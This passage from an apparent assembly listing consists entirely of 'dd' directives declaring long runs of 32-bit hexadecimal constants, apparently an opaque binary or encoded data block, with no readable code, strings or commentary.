749FF2Bh, 0A9503FDFh dd 0DF497362h, 0CDEBF980h, 5AD03B0Bh, 0CB3A9BA1h, 54586E37h dd 0E88F67E5h, 36B8959h, 0D05B94D6h, 72380606h, 0AD5DB450h dd 0C10B47A5h, 0F6E5E22Dh dd 0C93C5509h, 0EE45A7FAh, 77398BD3h, 3912E221h, 14215E47h dd 0AC367D55h, 2FCC7C2Ah, 9F2491EAh, 0CF4F2708h, 0E913EF57h dd 5763F914h, 8E31B2Eh, 5405866Ah, 1EF0195Ch, 804372C2h dd 3030F02Eh, 1FE4F416h, 1D67D627h, 0D5D5C283h, 0C76E30D8h dd 8F9B9225h, 580B4E74h, 9CE8D20Dh, 68A477C7h, 0FC0C49B7h dd 7D45412Eh, 0D3C074ADh, 0BE10887Bh, 0D91F7E86h, 88B8BE1Dh dd 2E63C25h, 84E38BB9h, 0CCAAAFD8h, 0BD278065h, 4FBFBB88h dd 289695F0h, 0B1125134h, 183FF84Ah, 29AC5024h, 586317E0h dd 536D4323h, 4A79B8FFh, 276F9BBCh, 0D4378632h, 6468D353h dd 5412BBAAh, 0BCC8DD67h, 0E2EAFA6Eh, 0BA44BDAAh, 3B2A59FBh dd 5986A6FEh, 2EC634D2h, 896BD00Bh, 0E718006Ah, 0FAB84D15h dd 0C9C366CAh, 3548EECBh, 0A9D09245h, 70E76B58h, 28EDECA9h dd 0B090BE98h, 54605D57h, 0E164010Ch, 0FF9941E1h, 1A38AB1Ch dd 9445EC53h, 71F1AB0Ah, 4EC72497h, 2B410703h, 0E92D9D69h dd 0CC65DDD2h, 36F0B21Ah, 0BBC367EEh, 0ECB21D1Dh, 0EAE6670Ch dd 46A6AB9Dh, 0D9EB0D57h, 0CB794AADh, 0FAB81995h, 0B8190F5Eh dd 872F2738h, 4ACC84F7h, 0DAEB9387h, 0C3087CC8h, 527EBAE7h dd 0CD13D45Fh, 9C34012Fh, 4411FED9h, 0BE48637Eh, 8008354Dh dd 61EC1CF0h, 0FE7C6A7Eh, 0CDB900ECh, 39E67E58h, 2109838Fh dd 0E4148C49h, 4B51F0C0h, 0AF13D5CCh, 0D70B4D5Eh, 36512A5Ah dd 703B7253h, 131ED21Ah, 0F6F5FDDh, 134C8F2Eh, 0D8DE8685h dd 0A3D439CAh, 0C0766F6h, 95750ADDh, 0FD1D0E3Bh, 0B68658E4h dd 0C33E1CABh, 0E58E89EEh, 8FDEDCB3h, 0B46FBBE0h, 0F9633704h dd 3DE15374h, 5539FC1h, 24B05FE6h, 46F661D9h, 0FBF36773h dd 4EC461DDh, 0EA384447h, 86CEBF1Eh, 8BC16A99h, 17B6D486h dd 0D01BA167h, 97A2EB29h, 62662D66h, 89AE120h, 227606DEh dd 0E2339BBCh, 0D25D848Eh, 9F868C2Bh, 0C680ABA0h, 0F29F5307h dd 0DD6AAF7Bh, 9FE775B0h, 0C62B3431h, 28D70FEEh, 680C2055h dd 8C7D2B0Ch, 9CA2F57Ah, 79AF0C83h, 0D6CFA02Dh, 6FC587CCh dd 0A00BCE66h, 0DD3B3301h, 5E5F5BBAh, 99F01F12h, 9DFBADAFh dd 0E919E063h, 0E41D4641h, 0E9B6E5D9h, 7BA70F3Ch, 855A9190h dd 8966C42Ch, 447A4D43h, 36A16B99h, 3524E65Fh, 3C9D955Ch dd 0A2628A3Bh, 0C0C546BCh, 2D5FEB81h, 0DF1B1CCAh, 162C713Ah dd 7808A867h, 0E471CFBAh, 84B84468h, 8C4AF169h, 86B90BF0h dd 3CFE6359h, 549FD577h, 0A5330788h, 0A7D4E2DCh, 59AD33C8h dd 787B29D2h, 0F85DE753h, 16B4876Dh, 0FDE798D6h, 211A5A0Ch dd 3CFCD80Bh, 0BB75D54Bh, 6C68EDA2h, 1115D683h, 0DB57F7F3h dd 0C00EE78Fh, 0FF02EA6h, 0AFF1AB2Eh, 69CE3E92h, 0F26D3A07h dd 0C6715C92h, 0AA14DAF4h, 0CDE00225h, 0B53CBF51h, 0FBF9C03Fh dd 0EF3541EBh, 0AF4982E8h, 8EDF471h, 47AB3C89h, 0E1B774DCh dd 5388E249h, 0A1F41CA0h, 78963C27h, 0B5C9C2EFh, 330A346Fh dd 0E30EA5A0h, 4F808FB0h, 7438880Ah, 0A636EAECh, 12A2017Ah dd 0F93A57DDh, 2EF20210h, 0F0C26CFDh, 1C3BD67Bh, 0C708F3FAh dd 753AF595h, 4119432Bh, 6BBC1FA7h, 1F258293h, 0C0A7794Ah dd 7A9E7244h, 17C2CE4h, 9E7E6E1Ah, 900E3C26h, 0C257267Eh dd 0E4AB8741h, 148E8227h, 0E7F1240h, 0A27FF872h, 25BC0310h dd 4A6874DEh, 3DF13CDAh, 8131A97Ch, 648609E9h, 9DD6A79Eh dd 5E3D125Bh, 0A9E45E0Fh, 31D25F38h, 0E2058057h, 835DBB40h dd 12B1E99Fh, 3EC3121Dh, 7CB277Dh, 1BD76DB6h, 0C3653AF4h dd 9400F21Ah, 0AEAC1BB4h, 0E4919BADh, 9F6A9CFCh, 798A229Ah dd 9D40AC7Fh, 0C88BED0Eh, 0E2EA9749h, 0BE90D6Ch, 0A84684EFh dd 86458503h, 0BA1BA2E1h, 0C648E1B9h, 0FE08BE19h, 25D99B12h dd 82D0CD94h, 0B2E7E7E0h, 0DC06DDBDh, 161F4E5Fh, 0F53D5693h dd 15B734B7h, 5F809E7h, 99A81B3Fh, 1CD5441h, 0EAC454A2h dd 0F29CC847h, 0BAF7D377h, 9D1DDB58h, 2419383Ch, 0B2308E56h dd 0A14ADB76h, 744FBC07h, 0EA35D3ECh, 0DE50D876h, 7B9765C5h dd 0B210F47Ah, 0B3894AD5h, 0DA16B009h, 4229EC7Bh, 12145416h dd 0F37F948Dh, 485C560Ch, 2C79BBA1h, 0D91D3664h, 0FFE4F6E4h dd 4B5ACE74h, 0F51FD84Ch, 0E8C65BBh, 21463988h, 6969B936h dd 6E75C281h, 0F19325D6h, 366E2AA4h, 96B4DCA4h, 0C629D44Ch dd 0E119DE54h, 580D57B5h, 88B60734h, 28C61DC8h, 0D1CEAE6Fh dd 7DAF2D90h, 0FB645825h, 63FADAECh, 8F4702A8h, 0FF6CCD5Bh dd 0F0876CEAh, 586BEBCDh, 0F0D6A310h, 0E41247DBh, 532455CCh dd 5FA7CA13h, 9B1E443Fh, 4418E39Dh, 224DA8C1h, 0A66B1983h dd 0B40F5C9Eh, 8DF50F6Ch, 491A19Dh, 4DBF5F3Eh, 0BD974AC9h dd 0F479DFF4h, 1ACAF1F9h, 5522C7C8h, 0BDCA99A3h, 0E5862B6Dh dd 1E8A55A8h, 0C1D383BFh, 6547B1DAh, 0B3FD7510h, 7659F204h dd 29F8903Dh, 67094A78h, 0EC58FE0Ch, 3E279807h, 6EEBA1E3h dd 5F468095h, 253CB001h, 0B91D9A43h, 0D72B95BCh, 0FD7CA128h dd 655857C6h, 58602875h, 7649306Fh, 3B3FDFD7h, 0BEDDEB81h dd 0CC12A6CCh, 85854294h, 5E088AB0h, 0E254D8C8h, 0A037F135h dd 34DA00D0h, 517FF252h, 65078B6Eh, 0A5F52982h, 0ADC011h dd 617D1249h, 0F6A1C073h, 5B887770h, 0B025537Ah, 7987CCD7h dd 0BCE2DF5Eh, 0D3F5109Dh, 4820168Bh, 173A5A8Bh, 0E87901A5h dd 0A33674h, 0F1E658CAh, 827D6741h, 0C5A169h, 6D814D7Fh dd 8F971428h, 529CEBEDh, 0D6716B0Ah, 303A93Dh, 0C762128h dd 7DBE7393h, 0D517EF7Ah, 7D771C07h, 817A0DA8h, 8D443B7Ch dd 4003558Dh, 0AAB73DFEh, 0BA48BB1Ah, 1BD7174Fh, 4D91952Ah dd 799E3009h, 8899675Dh, 76C3799h, 0CCC55118h, 91EF3492h dd 0EF7A5A03h, 0D4D65B5Dh, 402B608Fh, 0BBDC5EEh, 4685B67Ah dd 6C07AE66h, 0F086D1ECh, 5B5F9C73h, 3379F164h, 60F0C10Fh dd 4756A5DFh, 0DA08DD8Eh, 0D32265Ch, 30C6E228h, 964586C4h dd 6B90B332h, 0BDA1243Ch, 0B837DDBDh, 1DE323B3h, 45C06C1Ah dd 89549503h, 0BFD30274h, 8CD33D91h, 0DC5E130h, 32141265h dd 3A07C327h, 0BFDD06FAh, 0DD3ADE76h, 0D3CBFC3Ah, 6B63711Bh dd 722B15C5h, 4555C590h, 721F478Dh, 7E76A4C8h, 0D4694C26h dd 7AC862FCh, 1858A722h, 9C1823C3h, 0C4EC981Fh, 82D354FDh dd 0D835CA99h, 0A96FE10Dh, 4A78735Eh, 0FE0E56E1h, 6D48A26Dh dd 0E436FB5Eh, 0C7DA12Eh, 0D337FCCEh, 0E293E94h, 0AE83B9FCh dd 5FD9ED1Bh, 2E177BBEh, 5B854B17h, 2DE7409Bh, 0D9395810h dd 3B5584C8h, 0D93600BBh, 9E9EDB87h, 0A0D11379h, 8236CEh dd 0B6070F9h, 0EAE48CB8h, 0CB5D10FCh, 25881BFEh, 5B670F5Bh dd 1A3E5D9Ah, 0FCAD7B17h, 0FBED7748h, 0C9DCA50h, 0F023233Ch dd 5D10FC34h, 159B8D1Ch, 2CCC75B2h, 3A883D65h, 0F3993673h dd 0A6268ED8h, 2D160C5Fh, 500084F8h, 0D2E6D49h, 42AD24B8h dd 0F50A2B80h, 3B6E8900h, 7521CB9Bh, 8B2FE2Eh, 0B34DB6D6h dd 701899BBh, 77014B73h, 7A995CAAh, 0D21FB027h, 0CCF00291h dd 942682EEh, 3B6BEBB3h, 0C3B174D1h, 0D38E6CC0h, 5D4C4404h dd 0BD2E21Ch, 0AB6ECADBh, 0C3CC8EF4h, 1906BCA6h, 455A5587h dd 0BE1BA261h, 0C3206EC9h, 18965D0Eh, 5F94E0A0h, 0BE4BF44Ch dd 2C672075h, 0A8184883h, 38E409EBh, 0A4391BDDh, 0BC266201h dd 0D3247997h, 8ABCFEB5h, 40105F4Ah, 0BB7363C2h, 4C0CE31h dd 0E5C4967Fh, 0BBE2D27Dh dd 0E9F3071Ah, 0C3E1C498h, 5260C29Ah, 4A56CD4Ch, 9DA71A3Fh dd 0AF0362F7h, 0FEFBA650h, 0E2F66156h, 0A72233ECh, 0D6B2B214h dd 0FD67AD23h, 241315D4h, 0E4AC6169h, 0C33D63DFh, 5D20D508h dd 0AECF464Dh, 0E6A8E1D5h, 0A07E2AFAh, 698EB861h, 67BAE88Fh dd 0A57E2348h, 54FAF8E4h, 0D63F5CA9h, 0A112ADEBh, 4E7F3A17h dd 0DC3CFEADh, 317BA684h, 7F7CBD8Fh, 0E0F4ADD1h, 481B9091h dd 19515E29h, 4AB13B46h, 11E4C33Fh, 36C4623Ah, 7E8EE1E7h dd 0DACB9198h, 7F3FE954h, 0EACC22A4h, 705CFAB4h, 6D8A81D9h dd 0DEDA34D3h, 0D109E9ABh, 4BE285A2h, 88E1CD05h, 10A9B32Ah dd 83C99016h, 2761EC65h, 0FC92FE12h, 9074EDF1h, 641467F3h dd 0A3FAA030h, 939901EBh, 0A575B66Dh, 4423C187h, 9CF8888Dh dd 0D5DDF57Dh, 0CCD68071h, 713C214Dh, 0FD1BB189h, 0ACD00BB7h dd 0ECFBE467h, 8C915E5Bh, 0FF9EAF07h, 0A0F8A5CEh, 0E817BAF8h dd 7C58FA2Dh, 0CF24AA45h, 34054CE4h, 6F26C692h, 0CDDD8F6Dh dd 43D9F2D9h, 96674D5Ch, 0FB974136h, 0A56FC2A7h, 6AB21FE2h dd 0EBA5801Ah, 8BA826DEh, 0C2EE85C4h, 0EF7E7B67h, 66629B8Ah dd 0BD471028h, 174D42DCh, 0B7CA9E0Bh, 77A7D0Ah, 3A5244CAh dd 91483C14h, 0BF13FAFFh, 4897B8CAh, 48C12114h, 0FB7437Dh dd 0E83D270h, 9AA3579Eh, 0C6D67227h, 0CE5145D8h, 0FABFFEC0h dd 0AC92E52Ah, 79A1B118h, 0D7693EAFh, 254BAF7Ch, 0E6C4DDF0h dd 1AF4E0A6h, 5A9F2A6Ch, 0AE94C796h, 443102B1h, 0B429B4BAh dd 0AA7BDC3Dh, 70D2E566h, 0EB07D599h, 9CE01A7Bh, 9D5A28CBh dd 2198726Ch, 0C69788CFh, 5A7C6D87h, 86653647h, 0B2CC7D8Eh dd 423454C5h, 0CE4E2A79h, 772C7074h, 0AC00F2D6h, 10FED665h dd 81CE402Dh, 0DF5A6ACAh, 23E896FCh, 986F6E43h, 92AA8261h dd 2841AC51h, 0D4B52BD4h, 0A436BA58h, 5BA196Bh, 0E2BC560Ah dd 0F0246EBh, 2018A727h, 75A41A67h, 89AD4114h, 52B1D43Ah dd 8459725Dh, 66FD0F08h, 28A8031Eh, 1AA052B8h, 8FDDC965h dd 92AAC72h, 4B8D6DA3h, 0D38021F8h, 0D932DF5Ah, 4A63B9FAh dd 3B2EECF3h, 9F18A0D0h, 1A9D94E2h, 0CB2CCB5Bh, 6FA78BEEh dd 2BFB340h, 6C99D0E4h, 0AA5479BBh, 0A33DAE5h, 9696036Ch dd 0B78202Fh, 0B3F4F16Bh, 9598ACA5h, 0A2A87F74h, 3B74D8FDh dd 0A242F68Fh, 37667969h, 98A70F8h, 50D0D63Fh, 0F80EF399h dd 2F5DBE5Ch, 76C2B5E2h, 9F56C34Eh, 1ACC61D6h, 0AD039143h dd 72A65DCEh, 0DC081Ah, 0BF3A50FEh, 5CF7E350h, 0ABA7F3AEh dd 0CED45399h, 91191E7Eh, 0A5197ECDh, 81354ED2h, 0B6138A11h dd 9D2B1FD1h, 551E324Fh, 9A9BCF15h, 0BBC5DBEDh, 7F3C1FB7h dd 0DE135F48h, 892DF027h, 0DC993F83h, 0A8DA76B5h, 0FFC52B73h dd 0E037443Eh, 0F0053E7h, 5F3A9EFBh, 0EEF23A88h, 7DCCBDDEh dd 3A5093DCh, 51A7A35Bh, 3CFA3F8Ch, 3381A530h, 447DF5A5h dd 0F5E288F7h, 1F0474C8h, 0B6A39AC3h, 37A54E37h, 0D06595EDh dd 91E4D830h, 0C79447FCh, 829A6DC7h, 0F0D6D181h, 0EA16058Dh dd 2911C3E0h, 6DEE10F7h, 647758CBh, 75BBE573h, 8B52269Ah dd 0F7C7E3C3h, 0B77D4C67h, 9C94D05h, 0DBE938FAh, 6613BAF8h dd 2FDEF1AFh, 3874509Ch, 0B5E2BBDAh, 491F105Ah, 8303ADDEh dd 177C1E02h, 0F0704474h, 0F6DA2E0Ah, 6F13D608h, 0F37CCEDEh dd 62546908h, 1176113Bh, 0D1F8F207h, 3DC1E12Bh, 6F4B4E53h dd 62315FA9h, 0EE7DF654h, 39685794h, 51C1ECC0h, 0C9778502h dd 9A34C4FEh, 72EF670Ah, 313C341Bh, 4B5079DAh, 0E307605Bh dd 0F9E07B27h, 0B81732CEh, 6A1293Fh, 961F4B40h, 688F8E2Dh dd 38066Bh, 0FF92320Eh, 0C3010276h, 81A02CABh, 25175244h dd 0E5A032EAh, 7B930962h, 1D0EF181h, 352DAF66h, 1030DA18h dd 7E945E36h, 0FF32D583h, 11747A1h, 5CC5604Dh, 0C376F0E9h dd 10F375F4h, 0C0E03B6Bh, 0A32DEF46h, 0C0F37AA7h, 0FC14844Ch dd 7929AC88h, 5BCEB80Fh, 6EA427EDh, 5D21B799h, 52EE895Dh dd 0D6D9D264h, 9A0BB0B9h, 581D3E3Bh, 1D52561Eh, 0A1233E86h dd 92E003BCh, 6E0377F0h, 0A7EC319Bh, 5234886Ah, 2FDA46DAh dd 4F512AFFh, 0DF334C8Bh, 5C79B80Dh, 68796AEEh, 606BFA31h dd 0CD979B94h, 0ABEDBF68h, 82940AD0h, 0BFA97C79h, 0AF97F6BAh dd 0CDF49159h, 0A13595E6h, 170C9C47h, 58267h, 6C1EA029h dd 0A1A0E145h, 0F2BCF8C1h, 0DE338D29h, 8C9EFD54h, 95470F74h dd 4AEC0139h, 21654AC9h, 75E21C9Eh, 4DD4616Ah, 78E6035h dd 9AFAD5C2h, 309DF74Eh, 7AA9DA3Dh, 8932B693h, 0B9317318h dd 51ECB9F0h, 0CA1BB5A1h, 0AEBE1068h, 1EEA5627h, 0CC81595Ah dd 0E492ED37h, 4759E3E7h, 0AD21C7B6h, 9B11229h, 21598716h dd 0AB0751BCh, 21C22783h, 0E17429F8h, 0DC8EEB9h, 0BBEAE5ACh dd 704C16A1h, 538C976h, 2E64F2CDh, 3A1719BCh, 0A5A29E06h dd 7102541Fh, 9DAEB8DDh, 25C31512h, 90218BFAh, 0D317A021h dd 0E4BC2973h, 606020DBh, 0C2A9102Dh, 0B59C4F11h, 46F6E512h dd 9B4507B1h, 0D53AAFD0h, 14FA5069h, 0F762017Fh, 9B46535h dd 0DB1AA15Ch, 0ABA825A6h, 72E3EF83h, 0B69ED63Eh, 9BADB210h dd 0A5CD209Ch, 760B4F0Dh, 7ECB620Ch, 904DE807h, 0A52E73Dh dd 764EF7A2h, 8629C754h, 58A6ACC2h, 247D232Fh, 8AD7D9C0h dd 0E06B87F4h, 0DE045F68h, 0CFF39C14h, 91E8AC1Fh, 3D4807C8h dd 8E4BFC36h, 367C8781h, 35C80783h, 277854E0h, 3FDB62Ah dd 0AD65B09Ah, 0C9205BF8h, 9C513C80h, 0F734E3D1h, 86524C96h dd 0C1855732h, 8160D91Dh, 0D77CC390h, 2225B830h, 9C9B183Fh dd 0E6A5EE96h, 4566CAC4h, 491AE8C4h, 9B4E8696h, 4FFB1339h dd 162437D8h, 4CB0C67Eh, 1B7A61BFh, 0AC7A7748h, 47C212CEh dd 915C110Ch, 6B2D0DDEh, 0E93F9C9Eh, 5F20C082h, 0AC0F9810h dd 6518F4EBh, 0E445821Dh, 50B799E4h, 53D45EE0h, 19B8D0EBh dd 0B66EB62Ah, 0D3BEFC07h, 3F7F92F9h, 0FCC19570h, 0D6D6137Bh dd 0FF925BCDh, 621755ACh, 0CC9A6F49h, 877F8DC2h, 36D227EAh dd 6C55D5DFh, 65C3EC76h, 3D6910FCh, 74CB291Bh, 0A0802A58h dd 13FC6034h, 0E64369BAh, 22A48B50h, 7D99651Bh, 16E1E4BAh dd 29DC21E4h, 19EA97CCh, 0AF7ECB76h, 4DBEF73h, 32568FFh dd 9D37554h, 0A20A1213h, 0A991AC32h, 0A2F2E991h, 0C8B4DD2Ah dd 0FAD74581h, 0DA5862A6h, 627120Ah, 0EB4AA1CDh, 7FEA451h dd 71A946D8h, 48BC7685h, 90C34C7Bh, 0D7911FBEh, 979E6EC6h dd 9E2BD96Fh, 0FBA92003h, 0C66285BAh, 23973FDDh, 61A4AAA1h dd 32F85A0Ah, 7D7A3A4Dh, 82761A3Eh, 7F6B3D27h, 7420101Bh dd 0C7137B9Eh, 0F4E38A1Eh, 0F814A37Fh, 41A9182Dh, 0E3F69C1h dd 8C1D1Eh, 369BAB6Ch, 0A04D0FC4h, 65C5050Bh, 10A01796h dd 3E4E98E0h, 10FEEFB6h, 86A4A399h, 0CA90D991h, 0D5F1A1D1h dd 1AF7B7C6h, 6DFC7AD3h, 59F10A57h, 0CD2B8DD4h, 7388BECBh dd 96B4C177h, 0CC4CB1ADh, 0F969470Eh, 0C84E3EF5h, 13A29C52h dd 0D3094D91h, 68045647h, 0C88C7AF1h, 0F4322F95h, 0CF71DA55h dd 0DCDCD55h, 0D14AA229h, 823ADB22h, 0E0A0BD0h, 5F6CB993h dd 0C8128BD7h, 0E70222C2h, 5367EDA1h, 0B250A4B9h, 5458C550h dd 0B645B1h, 41B405CEh, 0F66AE64Fh, 42963A99h, 6D86B6C9h dd 87878DAh, 1EFD700Dh, 25219ED2h, 4CF4350Ah, 870F7FE7h dd 0DBA825B3h, 448F1DD0h, 0AEF83D9Dh, 112561A4h, 231E7CEDh dd 0EBA240E0h, 0F1E4D72Eh dd 0A6F2B086h, 7E28A94Fh, 5F47B9CEh, 8D9FA3B0h, 75654E36h dd 0D5B62FB2h, 975325D1h, 56258E5Dh, 52CD3804h, 0DBDEF375h dd 35DE11FEh, 102C3E9Eh, 37D9D10h, 3511E5F2h, 1A2ACC9Dh dd 0BF7A2B69h, 7F49A8CBh, 0F2BEDD3Fh, 0FEBEBF2h, 833EFA37h dd 8696B0Bh, 0A257AA9Fh, 0A22643E8h, 5211DBFAh, 0C33AC86Eh dd 713BE384h, 0FE2B8B9Bh, 4E546E79h, 0D051B4FDh, 0A8ECF5F4h dd 9DFEC578h, 0ED4AB589h, 0D96C9ACEh, 6986C2F1h, 339AA7F9h dd 8BF48B84h, 0DCA53166h, 788DF7Dh, 107F6FECh, 0C89A405h dd 0BB8C77E6h, 700B4067h, 0F8DF2391h, 5528B428h, 30E2EE08h dd 7BCBEAAFh, 0B56373BFh, 149449B5h, 45E25790h, 0F0353A40h dd 0E2293807h, 583AAB90h, 0DCC67E7Ah, 0F6A98E76h, 3864DD37h dd 57FD91A6h, 0BDE0C1DBh, 1F282754h, 505371B1h, 96DC2256h dd 1B25ECFAh, 3A4AD45Bh, 0C6B81668h, 0DDA22A06h, 380C692Ah dd 2D4E00A7h, 0DC97AB12h, 78991C7Ch, 0E5BCD131h, 923D5DABh dd 68D9D4ECh, 0E8F90800h, 6106A82h, 80F9A02h, 354D5006h dd 7B6EC100h, 4FE9DE9Ch, 47893777h, 9D1D862Dh, 0DC0B0467h dd 97B58F3Eh, 4ACBAA5Ch, 301B5620h, 0FF90CC99h, 82E18BC5h dd 0B66F1811h, 594E0425h, 0E36FA113h, 3A4EA878h, 63F18ABh dd 5307F158h, 0FC6E8B5h, 8A734F2Dh, 0E8DEA683h, 0B3A7ECC9h dd 0A002960Fh, 2D0A994Fh, 5A221BB3h, 5B9D2E42h, 0A41156DDh dd 371A0F7Ch, 0FCDB2B1Ch, 10ADB09Ah, 5F06187Bh, 7E7886F4h dd 7DCCC86Ah, 5CB02414h, 68F54E81h, 5EE272C4h, 0AEA37D0Eh dd 0A80B3583h, 0E7FA7350h, 7516630Bh, 0C5B5F2FEh, 0B37DD719h dd 0E9AB3ABDh, 0BE611642h, 15F03512h, 18562939h, 76B1981Ah dd 1E15234Fh, 0A93481A6h, 0A0A811FEh, 0CEB5F286h, 0BC89FE1Bh dd 0A2121450h, 0ACEB3A1h, 8CB957C6h, 0A8DD7BE4h, 1AE3B0FEh dd 2EA234ACh, 1DF94566h, 5DD0794Ah, 970D0F3Ah, 8FFE052Eh dd 0D6785318h, 9EB8C881h, 9257C80Bh, 35377C78h, 0AE545B8h dd 41C244D7h, 1003A974h, 2D297DFCh, 0B9583544h, 920D8F2Dh dd 1265ED39h, 0A3F37299h, 735A3BE5h, 0DC65FE24h, 0CBCB6A50h dd 5C33AA6Bh, 0E1996EEEh, 0DDDD30Ch, 6F1D3476h, 846E09D6h dd 0D4045CA6h, 1CEED280h, 3E807E39h, 9AA73B14h, 50FAFA67h dd 38719504h, 285D42DCh, 8C5DC3F4h, 21E111DEh, 0A49016EAh dd 1F2A8670h, 904E359Eh, 39E5C38Dh, 0DC38467Eh, 0F14CE2C4h dd 0ACFC3B06h, 65D72336h, 0B807A86Dh, 0D313362Fh, 96DE4ADCh dd 2E79D0D7h, 8241089Dh, 0EB85FBE1h, 22C49FF4h, 0E10B48F3h dd 35AF06F2h, 287281F5h, 6B8243D2h, 54E87158h, 2A67A94Ch dd 40D316DEh, 87F0C850h, 0F84E0203h, 433FD006h, 924403D9h dd 39EE2647h, 0D46E27DDh, 7DF1C77h, 0D12ED95Eh, 6A6FC7E9h dd 0FD0AF406h, 156A7603h, 2897B1C7h, 2BB32E15h, 0C484050Ah dd 0D351E966h, 701591B0h, 32377EE5h, 1084EDFh, 0C85CA7B8h dd 3AE75BA9h, 5920D4FDh, 0C9E3A9BEh, 49BC14E4h, 47699D69h dd 1DEDD19h, 0A023AAA7h, 0C7EECB73h, 95E1DB20h, 2113147Bh dd 975DAD6Fh, 5307B359h, 62FE41DEh, 0FE8599D2h, 0F97B7B0Ah dd 3941AEC8h, 3F690025h, 35CB5F5Ah, 0AD873AB4h, 0AB43246Ch dd 8470E0C5h, 0C0B7D7CEh, 18FC445Eh, 0A6FCD4BCh, 6E83A7EDh dd 0B8D193D6h, 980A6976h, 642263B3h, 61504EA4h, 9D7BE386h dd 920B5A9h, 0FE3E1404h, 7A7CEE2Fh, 0CF998104h, 0E7BEB681h dd 82B4B5D2h, 3091D9CDh, 0E76D6803h, 0C872DA95h, 8D6DACB6h dd 571521C5h, 512B096Bh, 517BF3B7h, 0CCFBAD73h, 0A25BF2CAh dd 8F68DA38h, 1C858E21h, 423963CDh, 985AB7B7h, 5256AF9Eh dd 90A69E4Ch, 0A9BE98C2h, 772BE18Dh, 0EA005871h, 0C32866Ah dd 3880B594h, 0B1DC7AAFh, 8D9FD27Bh, 0C31AE8Ah, 0D28591C3h dd 89EAB99Ch, 9807CF11h, 542F3CEDh, 0E4B1BD35h, 601C50DFh dd 8326D4A9h, 0CBCA566Bh, 190C0440h, 0F34F2C0Fh, 97C721ECh dd 0CA93F9E6h, 0E99D4F66h, 0F7FFFD97h, 6EC28561h, 6CD67A11h dd 0DEF11A33h, 9042058Eh, 0D14A5493h, 0E5410F8Dh, 7EA3CB7h dd 0D599DF44h, 11B3C09Eh, 0D4E9994Ah, 0E372D413h, 0C69AFF33h dd 47D2D199h, 2A83A522h, 69C205C4h, 47535465h, 0FD6B267Bh dd 0DB691FC6h, 0E0C75825h, 6263D64Eh, 9FA1704Eh, 0F8F950FDh dd 5A3FC5DFh, 7D6A2724h, 0DDC0A53Eh, 79478D89h, 772AA5B7h dd 5A08A3EDh, 46CC4CA7h, 0C07DC70Eh, 0E35D49A2h, 0B57ABF59h dd 0E1B8F3E7h, 0D9D6E10Ch, 7238EE30h, 0E5060F2Bh, 0AC5B2888h dd 0DE25DFFAh, 31B4F747h, 65C30FE1h, 8D4A80A7h, 0BB48A2D4h dd 8DD4D2EBh, 9193EAAFh, 5E39B0DEh, 21D07C3Bh, 97FAA34Eh dd 5F5225D8h, 6547E53Ch, 3E84AC0Eh, 41F9FA6Fh, 0E8C625F1h dd 2645361h, 750C76D9h, 9E93CDC3h, 9585E0Dh, 0A5A21F30h dd 0B19EC9C3h, 950F83CFh, 9EC46157h, 52694044h, 9C6D7C00h dd 0C6624C0Ah, 0CF6164A6h, 7361330Ah, 37CE1B39h, 7702536Ah dd 0B5604F86h, 0CDD17A25h, 0F8B2DC1h, 0FB2870D0h, 0D21ADEA1h dd 59EEF9A3h, 704F094h, 60FB5A20h, 0C623B908h, 0DC14F4AFh dd 0B377CC18h, 0B3C3CED7h, 0E1227B0Ch, 0BE27AEB6h, 2BE0BBF8h dd 0AD8F1858h, 56AB77EDh, 92BA8415h, 658330BFh, 0F14E43B7h dd 4EE8AEBFh, 1506723Dh, 79CB1C8Ch, 53958618h, 2EDB85CCh dd 0E66C55FAh, 0EBFBBCF7h, 0F73A8B5Fh, 83887B3Eh, 5BA68D2Eh dd 0C7306433h, 694B0EDh, 0D2FCBE2Fh, 36DC441Ch, 0AA7D8BD9h dd 0AD6B0B1h, 946E4F79h, 0A9A89CDBh, 3D4110CCh, 1314A79h dd 0C63DBAABh, 0AB93EB95h, 946EEB2Fh, 31F2339Fh, 75CA207Dh dd 29FF060Eh, 89FDD058h, 6531EED6h, 0DD069591h, 0B93AF487h dd 8D8ED7A2h, 33EE298Dh, 0B84EA6A4h, 17A82820h, 0EC486D7Ch dd 0BE6A05Dh, 43AE3038h, 8FEB54BAh, 0BD9DF4A4h, 0F8F79231h dd 5C5EA864h, 0DA694443h, 0E723D9DBh, 0B8FB72BCh, 0D4A2089Ah dd 363EF9A5h, 445061FFh, 5EB1EA3Eh, 0CD5C67EDh, 0E63C313Bh dd 19883992h, 0F5E46983h, 0AA1CD215h, 883B245Ah, 3E9C9824h dd 43899320h, 0D730A53Eh, 0D01AD5A3h, 2BB37BC6h, 0A3599D6Eh dd 73B89614h, 0F55EAFA7h, 0A08C0083h, 0EDA02149h, 0DFCA5744h dd 0E8DDFEF4h, 171132CEh, 70108366h, 854DF2CDh, 9EF0A11Eh dd 0E8046FA3h, 1ABCF476h, 0E5818C9Eh, 0F17020AEh, 2AC71454h dd 93C4D311h, 5DAC822h, 1CD12CBCh, 0F5DDF4F4h, 959C2E35h dd 0D215113Dh, 1ABD597Bh, 0D52C1EA5h, 0EA97608Ah, 27BD0A32h dd 0F754B94Ah, 5A640C1Fh, 0F982ACC6h, 2AABC6BEh, 9E58653Dh dd 1667B2D3h, 8A928C08h, 7771BA50h, 925017EAh, 88A5B257h dd 0B9641233h, 0B24CD171h, 96A7A763h, 0A24A849Bh, 67613FAh dd 815DB428h, 0D1940D4h, 5EAEAFA6h, 0B5DD82C9h, 63AD77A2h dd 4DC80302h, 0D7D0A7D1h, 6A859620h, 0E36A5A0Eh, 70B0DFE2h dd 981F49A0h, 7D8C383h, 0CBE34B20h, 3733F156h, 0E6545879h dd 0A214721Eh, 0C4E934D8h, 0AC7BCDF8h, 7EDD0FF9h, 0D53BEE29h dd 42A0249Ah, 0F0F9481Eh, 0F4CBE427h, 19AC1CDCh, 2671728Fh dd 0FA6C86D8h, 0EFFC3A20h, 20438776h, 7B68B3F2h, 8A9A86D2h dd 927FA0ECh, 0C9BF8522h, 9754F9BEh, 6583859Dh, 0E9CB8ABCh dd 8FD873A1h, 7CA4D028h, 9705E554h, 2D24019Eh, 3F80C1B5h dd 760701F6h, 3ACEE1E3h, 0B0BEEEAFh, 0F81B077h, 0C73872C4h dd 5A880BD8h, 0ED15B736h dd 0FF4730BCh, 989505F0h, 661F1A1Fh, 700FF837h, 0A8322DAFh dd 81BD5F2Dh, 9868E3E3h, 46D3EF98h, 72190E09h, 0AF05771Eh dd 91438C2Bh, 0CF57B86h, 41F7246Ah, 0B066A5D7h, 63819B05h dd 24423CEh, 38536A28h, 0F3C3A71Fh, 0BD6BF77Ah, 0AC50EEC4h dd 